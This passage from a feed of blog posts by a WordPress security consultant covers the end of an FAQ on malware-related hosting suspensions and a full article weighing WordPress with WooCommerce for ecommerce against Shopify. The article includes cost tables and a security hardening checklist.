&lt;p&gt;Technically yes, practically no. If you migrate an infected site to a new host, the new host’s scanner will catch the same malware within days and suspend you again — often faster, because the malware is already known to security vendors. Clean first, then migrate if you want to.&lt;/p&gt;

&lt;h3&gt;
  
  
  My host says I need to pay them for malware removal. Do I have to?
&lt;/h3&gt;

&lt;p&gt;No. The host’s own cleanup service (often labeled “Express Malware Removal” or routed through their security partner) is one option among many. You are free to clean the site yourself or hire an independent specialist. The host is obligated to give you a reasonable cleanup window either way.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why was my account suspended without warning?
&lt;/h3&gt;

&lt;p&gt;For malware-related suspensions, most hosts skip the warning step on purpose. A delay would let the infection spread to other accounts on the same server, or let phishing pages collect more victims. Billing-related suspensions normally come with multiple warnings; malware-related ones do not.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does a hosting suspension affect my Google rankings?
&lt;/h3&gt;

&lt;p&gt;Yes, but indirectly. Google can’t crawl a suspended site, so cached pages get devalued and ranking signals decay. Worse, if the malware that triggered the suspension also caused a Google Safe Browsing flag, you’ll need to file a reconsideration request through Search Console after cleanup. My &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-remove-your-website-from-a-blacklist-a-complete-recovery-guide-1gll"&gt;blacklist removal guide&lt;/a&gt; walks through that process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Will my email work while my hosting account is suspended?
&lt;/h3&gt;

&lt;p&gt;Usually no, if your email runs through the same hosting account (cPanel mail). Outbound spam is one of the common suspension triggers, so hosts typically kill mail along with web service. Use a separate email provider (Google Workspace, Microsoft 365, Zoho) for business email to avoid losing communication during a hosting incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is “your page is at risk of being suspended” the same warning?
&lt;/h3&gt;

&lt;p&gt;That’s the pre-suspension notification. The host has detected something — usually elevated resource usage or a low-severity malware hit — and is giving you a short window to fix it before pulling the trigger. Treat this email as if the suspension already happened: scan, clean, and reply with proof.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to Get Professional Help
&lt;/h2&gt;

&lt;h2&gt;
  
  
  A malware suspension is one of the few scenarios where speed has a measurable price tag — every hour your site is down is lost traffic, lost sales, and lost trust. If any of the following are true, get a specialist on it now, not in three days:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The host’s flagged list is 100+ files, or includes core WordPress files.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You’ve cleaned once and the malware came back.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You don’t have a recent clean backup.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You’re seeing the Japanese keyword hack, pharma hack, or mobile-redirect symptoms — these always have multi-layer persistence.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your deletion deadline is less than 72 hours away.&lt;br&gt;
I’ve handled 4,500+ hacked WordPress cleanups — including dozens of mid-suspension recoveries on Bluehost, SiteGround, Hostinger, HostGator, GoDaddy, and managed WP hosts. If you’re staring at a suspended-account page right now and a ticking deletion clock, you can &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;request a malware cleanup here&lt;/a&gt; or &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;contact me directly&lt;/a&gt;. I respond to incident-mode requests within the hour.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  About the Author
&lt;/h3&gt;

&lt;p&gt;I’m &lt;strong&gt;MD Pabel&lt;/strong&gt; , a full-stack WordPress developer and security specialist. Over the past several years I’ve cleaned more than &lt;strong&gt;4,500 hacked WordPress sites&lt;/strong&gt; , including hundreds that came in mid-suspension from Bluehost, SiteGround, HostGator, GoDaddy, Hostinger, A2, and managed WordPress hosts. Everything in this post is from real cleanup work — the support ticket templates, the host-by-host behavior, the regeneration traps. If your site is currently suspended, the playbook above is exactly what I’d do.&lt;br&gt;
&lt;em&gt;Related reading:&lt;/em&gt; &lt;a href="https://www.mdpabel.com/blog/wordpress-malware-removal-expert-guide-to-clean-hacked-wordpress-site/" rel="noopener noreferrer"&gt;The complete WordPress malware removal expert guide&lt;/a&gt; · &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-detect-wordpress-malware-before-it-ruins-your-business-49a"&gt;How to detect WordPress malware&lt;/a&gt; · &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/i8217ve-fixed-4500-hacked-sites-here8217s-what-most-website-owners-miss-23pg"&gt;What 4,500 site cleanups taught me&lt;/a&gt; · &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-find-and-remove-malicious-javascript-in-wordpress-files-1lc5"&gt;JavaScript redirect malware removal&lt;/a&gt; · &lt;a href="https://www.mdpabel.com/blog/how-to-secure-a-wordpress-site/" rel="noopener noreferrer"&gt;How to secure a WordPress site&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Is WordPress Good for Ecommerce? Honest Answer From a Security Expert</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Sat, 16 May 2026 15:55:21 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/is-wordpress-good-for-ecommerce-honest-answer-from-a-security-expert-10e3</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/is-wordpress-good-for-ecommerce-honest-answer-from-a-security-expert-10e3</guid>
      <description>&lt;p&gt;&lt;strong&gt;Yes, WordPress is good for ecommerce — when it’s set up correctly.&lt;/strong&gt; Paired with WooCommerce, WordPress runs over 4.5 million live online stores worldwide and powers roughly 33% of all ecommerce sites globally. That makes it the most-used ecommerce platform on Earth by store count.&lt;/p&gt;

&lt;p&gt;But here’s what most “WordPress for ecommerce” articles won’t tell you: I’ve personally cleaned more than 4,500 hacked WordPress sites, and a disproportionate number of them were WooCommerce stores. The platform is genuinely powerful — but the same flexibility that makes it great for ecommerce is also why it requires more security awareness than a closed platform like Shopify. This guide gives you the full, honest picture: when WordPress is the right choice for your store, when it isn’t, and what nobody tells you about running it safely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;📌 TL;DR — Is WordPress Good for Ecommerce?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Yes.&lt;/strong&gt; WordPress + WooCommerce powers ~4.5 million stores and ~33% of global ecommerce.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Best for:&lt;/strong&gt; content-heavy stores, custom checkouts, stores under 10,000 products, businesses that want full data ownership.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Worse than Shopify for:&lt;/strong&gt; hands-off owners, ultra-high-traffic stores, teams without technical support.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real cost:&lt;/strong&gt; $300–$2,000+ per year (much less than Shopify Plus, more than basic Shopify).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The catch:&lt;/strong&gt; security is your responsibility. Most hacked stores I clean had a $5/month host and zero hardening. Done right, WordPress ecommerce is enterprise-grade.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Short Answer: Is WordPress Good for Ecommerce?
&lt;/h2&gt;

&lt;p&gt;Yes — for most small-to-mid sized stores, WordPress with WooCommerce is genuinely one of the best ecommerce platforms you can choose. You get full ownership of your data, no transaction fees, an unmatched library of integrations, and the SEO engine that runs nearly half the web.&lt;/p&gt;

&lt;p&gt;The honest caveats: WordPress ecommerce requires more hands-on management than hosted platforms. You’ll need decent hosting, basic security hygiene, and a plan for updates. If “I just want to upload products and forget about everything else” describes you, Shopify will save you headaches. If you want control and lower long-term costs, WordPress wins.&lt;/p&gt;

&lt;h2&gt;
  
  
  WordPress Ecommerce By the Numbers (2026 Data)
&lt;/h2&gt;

&lt;p&gt;Let’s anchor this in actual data, not opinions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;WordPress Ecommerce Metric (2026)&lt;/th&gt;
&lt;th&gt;Number&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Live WooCommerce stores worldwide&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~4.5 million&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Global ecommerce market share (by store count)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~33%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Market share among the top 1M ecommerce sites&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~18%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Estimated annual GMV across WooCommerce stores&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$30–35 billion&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stores earning $1M+/year on WooCommerce&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~300+&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stores earning $100K+/year&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~12,000–20,000&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lifetime WooCommerce plugin downloads&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;344+ million&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Source: BuiltWith, StoreLeads, W3Techs (Q1 2026). Translation: WooCommerce isn’t a niche choice — it’s the most-used ecommerce platform on the planet by raw store count, though Shopify leads among high-traffic stores.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Pros of Using WordPress for Ecommerce
&lt;/h2&gt;

&lt;p&gt;These are the genuine advantages, ranked by what actually matters to most store owners:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. You own everything (no platform lock-in)
&lt;/h3&gt;

&lt;p&gt;This is the underrated one. On Shopify, your store lives on Shopify’s servers under Shopify’s terms. If they raise prices, change policies, or decide your product violates their TOS, you have limited recourse. With WordPress + WooCommerce, you control the hosting, the data, the code, and the customer relationships. You can migrate hosts in an afternoon.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Zero transaction fees on the platform itself
&lt;/h3&gt;

&lt;p&gt;Shopify charges 0.5–2% per transaction unless you use Shopify Payments. WooCommerce charges nothing — your only fees are from your payment processor (Stripe, PayPal, etc.). For a store doing $500K/year, that’s potentially $5,000–$10,000 staying in your pocket.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The largest plugin and theme ecosystem in ecommerce
&lt;/h3&gt;

&lt;p&gt;Want subscriptions? Memberships? Bookings? Multi-vendor marketplace? Wholesale pricing? Custom product configurators? There’s a WooCommerce extension for it — usually multiple, usually with a free tier. The WooCommerce ecosystem includes 1,100+ official extensions and tens of thousands of third-party options.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Best-in-class SEO and content marketing
&lt;/h3&gt;

&lt;p&gt;WordPress is built for content. Most ecommerce traffic that converts well comes from organic search and content (blog posts, buying guides, comparison pages), and WordPress handles this natively. Plugins like Yoast SEO and Rank Math give you fine-grained control that Shopify still can’t match. If your acquisition strategy is content-driven, WordPress is the superior choice.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Genuine scalability (with the right setup)
&lt;/h3&gt;

&lt;p&gt;The “WordPress can’t handle big stores” myth is outdated. I’ve worked on a &lt;a href="https://www.mdpabel.com/blog/how-we-optimized-a-woocommerce-website-with-37786-products-to-improve-performance-and-ux/" rel="noopener noreferrer"&gt;WooCommerce store with 37,786 products&lt;/a&gt; running smoothly. The 2026 introduction of High-Performance Order Storage (HPOS) makes large catalogs significantly faster. Stores doing $1M+ on WooCommerce are routine.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Lower total cost of ownership
&lt;/h3&gt;

&lt;p&gt;For most stores, WordPress costs less than Shopify over 3+ years. We’ll break this down with real numbers below.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Cons (Especially for High-Volume Stores)
&lt;/h2&gt;

&lt;p&gt;I’m not going to soft-pedal these. If you’re choosing a platform for the next 5 years, you need the honest version:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Maintenance is your problem
&lt;/h3&gt;

&lt;p&gt;Updates, backups, security patches, server tuning — all of it falls on you (or whoever you hire). Shopify handles this in the background. With WordPress, ignoring updates for 6 months is how stores get hacked. If you’re a one-person operation without time for maintenance, factor in $50–200/month for a managed service or expect occasional fires.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Performance depends entirely on your hosting
&lt;/h3&gt;

&lt;p&gt;Shopify is fast out of the box because their infrastructure is purpose-built for ecommerce. WooCommerce on $5/month shared hosting is slow. WooCommerce on properly configured managed hosting can match or beat Shopify — but you have to choose well. Cheap hosting kills WooCommerce stores. I covered this in detail in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/why-cheap-hosting-makes-your-wordpress-site-vulnerable-to-hackers-3o4m"&gt;why cheap hosting makes WordPress sites vulnerable&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Plugin sprawl creates fragility
&lt;/h3&gt;

&lt;p&gt;The same flexibility that makes WooCommerce powerful makes it brittle. The average WooCommerce store runs 25–35 active plugins. Each one is a potential point of failure, conflict, or security vulnerability. Lean stores stay healthy. Bloated stores break.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Higher learning curve than hosted platforms
&lt;/h3&gt;

&lt;p&gt;You’ll need to understand hosting, DNS, basic security, plugin management, and occasionally PHP errors. Shopify hides all of this. For a store owner who isn’t technical and doesn’t want to be, this curve is real.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. You’re a target, not a customer
&lt;/h3&gt;

&lt;p&gt;This is the one most articles skip. Because WordPress runs ~43% of the web, automated bots constantly scan WordPress sites for vulnerabilities. Shopify has a security team standing between you and those bots. With WordPress, that security team is you. This isn’t theoretical — let’s look at exactly what hits hacked WooCommerce stores.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is WordPress Secure for Ecommerce? An Honest Answer From the Cleanup Side
&lt;/h2&gt;

&lt;p&gt;This is the question I get asked most often by ecommerce owners, and most articles answer it with vague reassurances. Let me give you the real picture from the inside of 4,500+ cleanup jobs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Yes, WordPress is secure for ecommerce — but only if you treat it like a real business asset.&lt;/strong&gt; WordPress core itself rarely gets compromised. The store next to yours that got hacked? It almost certainly got hacked through one of these vectors:&lt;/p&gt;

&lt;h3&gt;
  
  
  What hacked WooCommerce stores actually look like
&lt;/h3&gt;

&lt;p&gt;These are the ecommerce-specific attacks I’ve personally removed from client sites. If you run a WooCommerce store, these are your real threats:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Payment form skimmers (Magecart-style attacks)&lt;/strong&gt; — Malicious JavaScript injected into the checkout page that silently copies credit card numbers as customers type them. The site looks completely normal to you. I documented one variant in detail in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/case-study-removing-a-8220fake-payment-form8221-credit-card-skimmer-from-woocommerce-1li9"&gt;the WooCommerce fake payment form skimmer fix&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credit card stealers that bypass security plugins&lt;/strong&gt; — One client of mine ran Wordfence and Sucuri. Both missed the malware because it was loaded from a CDN they trusted. I found it manually. Full breakdown: &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-i-found-a-credit-card-stealer-that-no-security-tool-could-detect-86e"&gt;how I found a credit card stealer no security tool could detect&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS hijacks via compromised Cloudflare accounts&lt;/strong&gt; — Attackers don’t always need to touch your site. Sometimes they hijack the layer in front of it. &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/resolving-an-e-commerce-dns-hijack-via-a-compromised-cloudflare-account-gdf"&gt;Real ecommerce DNS hijack case study&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fake “security” plugins that are actually backdoors&lt;/strong&gt; — Plugins masquerading as protection while creating hidden admin users. Comprehensive list: &lt;a href="https://www.mdpabel.com/blog/comprehensive-list-of-known-fake-and-malicious-wordpress-plugins/" rel="noopener noreferrer"&gt;known fake and malicious WordPress plugins&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SEO spam injections targeting product pages&lt;/strong&gt; — Hijacks Google rankings to redirect organic traffic to scam sites. Devastating for revenue. &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-we-cleaned-a-hacked-wordpress-site-from-345m-8216matbet8217-seo-spam-and-how-you-can-3hm7"&gt;Cleanup case study from a 3.45M-page spam attack&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fake CAPTCHA / “verify you’re human” overlays&lt;/strong&gt; — Tricks customers into pasting attacker-controlled commands. &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-hacked-fake-cloudflare-verify-you-are-human8221-a-wordpress-malware-removal-case-3606"&gt;Real cleanup walkthrough&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The PCI compliance question
&lt;/h3&gt;

&lt;p&gt;If you process credit cards directly through your WooCommerce store, you’re subject to PCI DSS compliance. The simplest way to handle this is to &lt;em&gt;not handle card data yourself&lt;/em&gt;. Use Stripe, PayPal, Square, or Authorize.net with iframe-based checkout, so card numbers never touch your server. This drops you into PCI DSS SAQ A — the lightest tier of compliance — and dramatically reduces your liability.&lt;/p&gt;

&lt;p&gt;Stores that try to handle raw card data on WordPress without a serious security investment are taking on risk most owners don’t understand. Don’t do it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The security difference between WordPress and Shopify, plainly stated
&lt;/h3&gt;

&lt;p&gt;Shopify has a dedicated security team. They handle infrastructure security, PCI compliance for the platform layer, and threat monitoring. You don’t think about it because they think about it for you.&lt;/p&gt;

&lt;p&gt;WordPress doesn’t have that. The “security team” for your WooCommerce store is whoever last logged into wp-admin. If that’s you, and you’re updating plugins regularly, running 2FA, using decent hosting, and have a malware scanner — you’re fine. If you set up a store three years ago and haven’t logged in since, you’re a target.&lt;/p&gt;

&lt;p&gt;For a deeper look at the platform-level security picture, see my piece on &lt;a href="https://www.mdpabel.com/blog/are-wordpress-websites-secure/" rel="noopener noreferrer"&gt;whether WordPress websites are secure&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  WordPress vs Shopify for Ecommerce: Which Should You Choose?
&lt;/h2&gt;

&lt;p&gt;This is the comparison most readers actually care about. Here’s the honest version:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Factor&lt;/th&gt;
&lt;th&gt;WordPress + WooCommerce&lt;/th&gt;
&lt;th&gt;Shopify&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Setup difficulty&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monthly platform cost&lt;/td&gt;
&lt;td&gt;$25–150 (hosting + plugins)&lt;/td&gt;
&lt;td&gt;$39–399+ (Basic to Advanced)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transaction fees&lt;/td&gt;
&lt;td&gt;$0 (processor fees only)&lt;/td&gt;
&lt;td&gt;0–2% unless using Shopify Payments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Customization ceiling&lt;/td&gt;
&lt;td&gt;Unlimited&lt;/td&gt;
&lt;td&gt;Limited (Liquid templating)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO / content power&lt;/td&gt;
&lt;td&gt;Best in class&lt;/td&gt;
&lt;td&gt;Adequate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maintenance burden&lt;/td&gt;
&lt;td&gt;Yours&lt;/td&gt;
&lt;td&gt;Shopify handles it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security responsibility&lt;/td&gt;
&lt;td&gt;Yours (with help from plugins)&lt;/td&gt;
&lt;td&gt;Shopify’s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data ownership&lt;/td&gt;
&lt;td&gt;100% yours&lt;/td&gt;
&lt;td&gt;Yours, but on their platform&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best for&lt;/td&gt;
&lt;td&gt;Content-driven, custom, SEO-focused stores&lt;/td&gt;
&lt;td&gt;Hands-off owners, high-volume B2C&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Choose WordPress if:&lt;/strong&gt; you want full control, you do (or will do) content marketing, you have technical capacity in-house or via a developer, or you’re optimizing for long-term cost.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Choose Shopify if:&lt;/strong&gt; you want zero infrastructure work, you sell mainly on social/paid traffic rather than SEO, you’re a solo founder without technical bandwidth, or you’re targeting Shopify Plus features (POS, B2B at scale, etc.).&lt;/p&gt;

&lt;h2&gt;
  
  
  How Much Does a WordPress Ecommerce Site Actually Cost?
&lt;/h2&gt;

&lt;p&gt;Here’s a realistic annual cost breakdown for three different store sizes. Not the “WordPress is free!” pitch — the actual numbers:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cost Component&lt;/th&gt;
&lt;th&gt;Small Store&lt;/th&gt;
&lt;th&gt;Mid-size Store&lt;/th&gt;
&lt;th&gt;Larger Store&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;$15&lt;/td&gt;
&lt;td&gt;$15&lt;/td&gt;
&lt;td&gt;$15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hosting&lt;/td&gt;
&lt;td&gt;$120 (decent shared)&lt;/td&gt;
&lt;td&gt;$360 (managed WP)&lt;/td&gt;
&lt;td&gt;$1,200+ (cloud)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Theme (one-time or annual)&lt;/td&gt;
&lt;td&gt;$0–60&lt;/td&gt;
&lt;td&gt;$60–100&lt;/td&gt;
&lt;td&gt;$100–500 (custom)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WooCommerce + extensions&lt;/td&gt;
&lt;td&gt;$0–200&lt;/td&gt;
&lt;td&gt;$300–600&lt;/td&gt;
&lt;td&gt;$800–2,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security plugin (Wordfence/Sucuri)&lt;/td&gt;
&lt;td&gt;$0 (free tier)&lt;/td&gt;
&lt;td&gt;$99–200&lt;/td&gt;
&lt;td&gt;$300+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backup service&lt;/td&gt;
&lt;td&gt;$0–70&lt;/td&gt;
&lt;td&gt;$70–150&lt;/td&gt;
&lt;td&gt;$150–300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL&lt;/td&gt;
&lt;td&gt;$0 (Let’s Encrypt)&lt;/td&gt;
&lt;td&gt;$0–80&lt;/td&gt;
&lt;td&gt;$80–200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Annual total (excl. payment fees)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~$135–365&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~$904–1,605&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~$2,645–4,715&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Compare that to Shopify: $468/year for Basic plus 2.9% + 30¢ per transaction, or $4,788/year for Advanced. For most stores, WordPress wins on cost — but only if you don’t outsource maintenance.&lt;/p&gt;

&lt;h2&gt;
  
  
  When WordPress Is the Right Choice (and When It Isn’t)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  WordPress is the right choice if you…
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Run a content-driven business (blog, magazine, info site) that’s adding ecommerce&lt;/li&gt;
&lt;li&gt;Sell physical products and want unlimited customization on product pages&lt;/li&gt;
&lt;li&gt;Need subscriptions, memberships, bookings, or course sales alongside products&lt;/li&gt;
&lt;li&gt;Care about SEO as your primary acquisition channel&lt;/li&gt;
&lt;li&gt;Want full data ownership and platform independence&lt;/li&gt;
&lt;li&gt;Have or can hire technical support (developer, agency, or maintenance service)&lt;/li&gt;
&lt;li&gt;Are optimizing for total cost of ownership over 3+ years&lt;/li&gt;
&lt;li&gt;Need to integrate with niche software (CRMs, ERPs, regional payment processors)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  WordPress is the wrong choice if you…
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Don’t want to think about hosting, updates, or security at all&lt;/li&gt;
&lt;li&gt;Are a non-technical solo founder with no support network&lt;/li&gt;
&lt;li&gt;Run a high-volume B2C store driven primarily by paid social ads&lt;/li&gt;
&lt;li&gt;Need enterprise features like Shopify POS for retail or Shopify Markets for international&lt;/li&gt;
&lt;li&gt;Process raw credit card data directly (Shopify’s PCI compliance is much simpler)&lt;/li&gt;
&lt;li&gt;Have been hacked once already and don’t have a real plan to prevent it again&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Setting Up a Secure WordPress Ecommerce Site: My Checklist
&lt;/h2&gt;

&lt;p&gt;If you’ve decided WordPress is right for your store, this is the minimum viable setup I’d run on day one. Skip these steps and you’ll be in my inbox in six months:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Choose real hosting.&lt;/strong&gt; Managed WordPress hosting (Kinsta, WP Engine, SiteGround, Cloudways) — not $3/month shared plans. See &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/best-managed-wordpress-hosting-providers-for-speed-038-security-509b"&gt;my managed WordPress hosting comparison&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a payment processor with iframe checkout.&lt;/strong&gt; Stripe, PayPal, Square. Card data should never touch your server. This is your single biggest PCI compliance win.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Force HTTPS everywhere.&lt;/strong&gt; SSL is non-negotiable for ecommerce. Most hosts give you free Let’s Encrypt certificates.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable two-factor authentication on all admin accounts.&lt;/strong&gt; Especially the owner account. &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-enable-two-factor-authentication-in-wordpress-using-wordfence-2025-guide-3eg3"&gt;2FA setup guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Install Wordfence or Sucuri.&lt;/strong&gt; Configure properly — don’t just install. &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordfence-vs-sucuri-which-is-better-3oh1"&gt;Comparison guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable automatic updates for plugins.&lt;/strong&gt; Test major updates on staging if you’re cautious, but don’t skip them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a real backup solution.&lt;/strong&gt; Off-site, automated, tested. &lt;a href="https://www.mdpabel.com/blog/how-to-back-up-your-wordpress-site-with-updraftplus-step-by-step-guide-2025/" rel="noopener noreferrer"&gt;UpdraftPlus walkthrough&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit your plugin list quarterly.&lt;/strong&gt; Delete anything you’re not actively using — even deactivated plugins can be exploited.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lock down wp-config.php and file editing.&lt;/strong&gt; Add &lt;code&gt;define('DISALLOW_FILE_EDIT', true);&lt;/code&gt;. &lt;a href="https://www.mdpabel.com/blog/enhance-your-wordpress-security-in-2025-lock-down-file-edits-with-these-2-wp-config-constants/" rel="noopener noreferrer"&gt;Full setup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor checkout regularly.&lt;/strong&gt; Make a test purchase yourself once a week. Skimmers are designed to be invisible to admins — but they affect customer checkouts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set up Google Search Console.&lt;/strong&gt; The earliest signal that your store has been hacked is usually weird search results showing up in your reports.&lt;/li&gt;
&lt;/ol&gt;

